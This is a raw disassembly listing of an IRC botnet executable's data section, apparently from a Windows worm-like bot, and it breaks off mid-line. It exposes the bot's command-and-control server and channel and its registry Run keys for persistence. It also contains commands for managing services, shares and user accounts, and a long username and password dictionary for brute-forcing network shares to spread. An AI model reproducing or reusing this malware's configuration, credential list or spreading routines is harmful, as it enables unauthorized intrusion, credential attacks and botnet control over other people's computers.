28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_42E59C db 2 ; DATA XREF: sub_40CAF1+183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 4 unk_42E5E4 db 2 ; DATA XREF: sub_40CAF1+77o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40D099:loc_40D0DCo ; sub_40DF4E+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_40D099:loc_40D0D6o aDisk db 'Disk',0 ; DATA XREF: sub_40D099:loc_40D0D0o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40D099:loc_40D0CAo aCdrom db 'Cdrom',0 ; DATA XREF: sub_40D099:loc_40D0C4o align 4 off_42E644 dd offset word_4D4152 ; DATA XREF: sub_40D099:loc_40D0BEo aFailed db 'failed',0 ; DATA XREF: sub_40D12A:loc_40D208o ; sub_40D24E+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_40D12A+6Co align 4 unk_42E658 db 2 ; DATA XREF: sub_40D24E+8Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 unk_42E6A4 db 2 ; DATA XREF: sub_40D24E+58o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 aA_0 db 'A:\',0 ; DATA XREF: sub_40D320:loc_40D365o dword_42E6F4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42E740 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D4C5+E3o ; --------------------------------------------------------------------------- loc_42E75C: ; DATA XREF: sub_40D4C5+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_42E770 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40D4C5+13Fo dword_42E784 dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_40D679+5Do aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D679+16o ; sub_40EE72+623o aNotice db 'NOTICE',0 ; DATA XREF: sub_40D679+Fo ; sub_40EE72+62Fo align 10h off_42E7A0 dd offset aAdd ; DATA XREF: sub_40D719+60r ; sub_40DAF0+51r ... ; "Add" off_42E7A4 dd offset aAdded ; DATA XREF: sub_40D719+2Dr ; sub_40DAF0+83r ... ; "Added" dword_42E7A8 dd 0 ; DATA XREF: sub_40D719+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 42E814h, 42E80Ch, 2, 42E800h, 42E7F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0042E7D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:0042E7D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:0042E7C8o aStart_0 db 'Start',0 ; DATA XREF: ___:0042E7C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:0042E7BCo align 4 aList_0 db 'List',0 ; DATA XREF: ___:0042E7B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:0042E7B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:0042E7ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_42E7A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_42E7A0o dword_42E868 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+67o dd 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_42E89C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+51o dd 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_42E8D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+33o dd 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40D835:loc_40D93Fo db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40D835:loc_40D938o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40D835:loc_40D931o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40D835:loc_40D92Ao align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40D835:loc_40D91Co align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40D835:loc_40D915o db 'marked for deletion.',0 align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40D835:loc_40D90Eo align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40D835:loc_40D8E3o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40D835:loc_40D8DCo db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40D835:loc_40D8D5o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40D835:loc_40D8CEo align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40D835:loc_40D8A3o db 'dependent on it.',0 align 10h aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40D835:loc_40D899o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40D835:loc_40D88Fo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40D835:loc_40D87Bo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D9B3+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_40D9B3:loc_40DA7Fo aStarting db ' Starting',0 ; DATA XREF: sub_40D9B3:loc_40DA78o aStoping db ' Stoping',0 ; DATA XREF: sub_40D9B3:loc_40DA71o aRunning db ' Running',0 ; DATA XREF: sub_40D9B3:loc_40DA6Ao aContinuing db ' Continuing',0 ; DATA XREF: sub_40D9B3:loc_40DA63o aPausing db ' Pausing',0 ; DATA XREF: sub_40D9B3:loc_40DA5Co aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D9B3:loc_40DA55o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D9B3+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40D9B3+25o align 4 dword_42EE38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+ACo dd 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_42EE6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+8Ao dd 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_42EE98 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+58o dd 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_40DCE6+BCo align 10h aYes db 'Yes',0 ; DATA XREF: sub_40DCE6+B5o dword_42EEF4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DCE6+76o dd 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40DCE6+26o align 4 dword_42EF64 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+B7o dd 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_42EF9C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+95o dd 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_42EFD8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+6Do dd 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 dword_42F008 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DF4E+3AFo dd 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DF4E+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DF4E+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DF4E+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DF4E+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_40DF4E:loc_40E06Do align 4 aUser_0 db 'User',0 ; DATA XREF: sub_40DF4E:loc_40E066o align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DF4E:loc_40E05Fo ; ___:0042F774o ... align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DF4E+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DF4E+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DF4E+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo align 4 dword_42F1D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+F7o dd 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_40E337+BEo align 4 dword_42F218 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+7Ao dd 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40E4B7:loc_40E59Bo db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40E4B7+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40E4B7:loc_40E562o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40E4B7:loc_40E554o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E4B7:loc_40E51Ao align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40E4B7:loc_40E506o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo align 10h dword_42F530 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+ABo dd 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_42F568 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+81o dd 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 10h dword_42F5A0 dd 1B58h ; DATA XREF: ___:0040EA4Cr ; ___:0040EAFFr dword_42F5A4 dd 0C8Bh ; DATA XREF: ___:0040EB4Br dword_42F5A8 dd 30EAh ; DATA XREF: sub_40EE72:loc_414C0Ar dword_42F5AC dd 18F4h ; DATA XREF: sub_407252+3Br ; sub_40EE72+52E6r dword_42F5B0 dd 1BB0h ; DATA XREF: sub_407252:loc_407501r ; sub_40EE72:loc_41424Dr dword_42F5B4 dd 0A84h ; DATA XREF: sub_40EE72:loc_4143C3r dword_42F5B8 dd 1 ; DATA XREF: sub_40EE72+665r dword_42F5BC dd 1 ; DATA XREF: ___:0040E7E6r dword_42F5C0 dd 1 ; DATA XREF: sub_40AC42+Cr ; ___:loc_40E9D8r byte_42F5C4 db 2Eh ; DATA XREF: sub_40CFE3:loc_40CFEFr ; sub_40EE72+B05r ... align 4 dword_42F5C8 dd 6 ; DATA XREF: sub_415996+2Br ; sub_415996+51r ... dword_42F5CC dd 4 ; DATA XREF: sub_40EB92+78r ; sub_40EE72+279r ... a8652 db '8652',0 align 4 aCool_0 db 'cool',0 align 10h aMan db 'man',0 align 8 aSym db 'sym',0 dd 0 db 2 dup(0) byte_42F5F2 db 1 ; DATA XREF: sub_40EE72:loc_413D44r ; sub_40EE72+4EDCo aAsn445 db 'asn445',0 align 4 dd 100h, 3 dup(0) aBotid db 'botid',0 ; DATA XREF: ___:0040E703o ; sub_40EE72+3E42o ... align 4 aAbosal7Tool db 'ABOSAL7 tool',0 ; DATA XREF: sub_40EE72:loc_414E22o align 4 aCool db 'cool',0 ; DATA XREF: sub_40EE72+6129o ; sub_40EE72+61F8o align 4 aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:0040EA37o ; ___:0040EAF0o aFaak db '#faak#',0 ; DATA XREF: ___:0040EA58o ; ___:0040EB06o align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:0040EA6Fo ; ___:0040EB18o align 10h byte_42F650 db 73h ; DATA XREF: ___:loc_40EB2Er ; ___:0040EB3Co aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#faak#',0 ; DATA XREF: ___:0040EB52o align 4 aSaad__0 db 'saad.',0 ; DATA XREF: ___:0040EB64o align 4 byte_42F674 db 66h ; DATA XREF: sub_402B84+Fo ; sub_4030E8+81o ... db 69h, 72h, 73h dd 69777374h, 78652E6Eh, 65h dword_42F684 dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do aSystam13 db 'Systam13',0 ; DATA XREF: sub_40C1AE+Eo align 4 aBot db '[bot]-',0 ; DATA XREF: sub_415996+12o align 4 aFirstswin_exe db 'firstswin.exe',0 align 4 aXi db '+xi',0 ; DATA XREF: sub_40EE72+6274o aF db '#f',0 ; DATA XREF: sub_40EE72:loc_4120F1o ; sub_40EE72+509Co align 4 aF_0 db '#f',0 ; DATA XREF: sub_40EE72+1F2Fo align 10h aF_1 db '#f',0 ; DATA XREF: sub_40EE72+1D75o align 4 off_42F6C4 dd offset a@admin_com ; DATA XREF: sub_40EE72:loc_414FEEo ; "*@admin.com" off_42F6C8 dd offset aH4ckerTool ; DATA XREF: sub_40EE72+8CFr ; sub_40EE72+6198o ; "h4cker tool" db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o ; sub_4162AC+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o ; sub_4162AC+D4o align 4 dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 8 dd offset byte_43C80C dd offset byte_43C80C dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_1 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem ; "SYSTEM" dd offset aServer_0 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset aPat ; "pat" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset aA_1 ; "a" dd offset aAaa ; "aaa" dd offset aAbc ; "abc" dd offset aTest123 ; "test123" dd offset aWin ; "win" dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin ; "login" dd offset aPwd ; "pwd" dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aPw ; "pw" dd offset aMat ; "Mat" dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_0 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_434C2C ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_4289BC dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept ; "accept" dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset 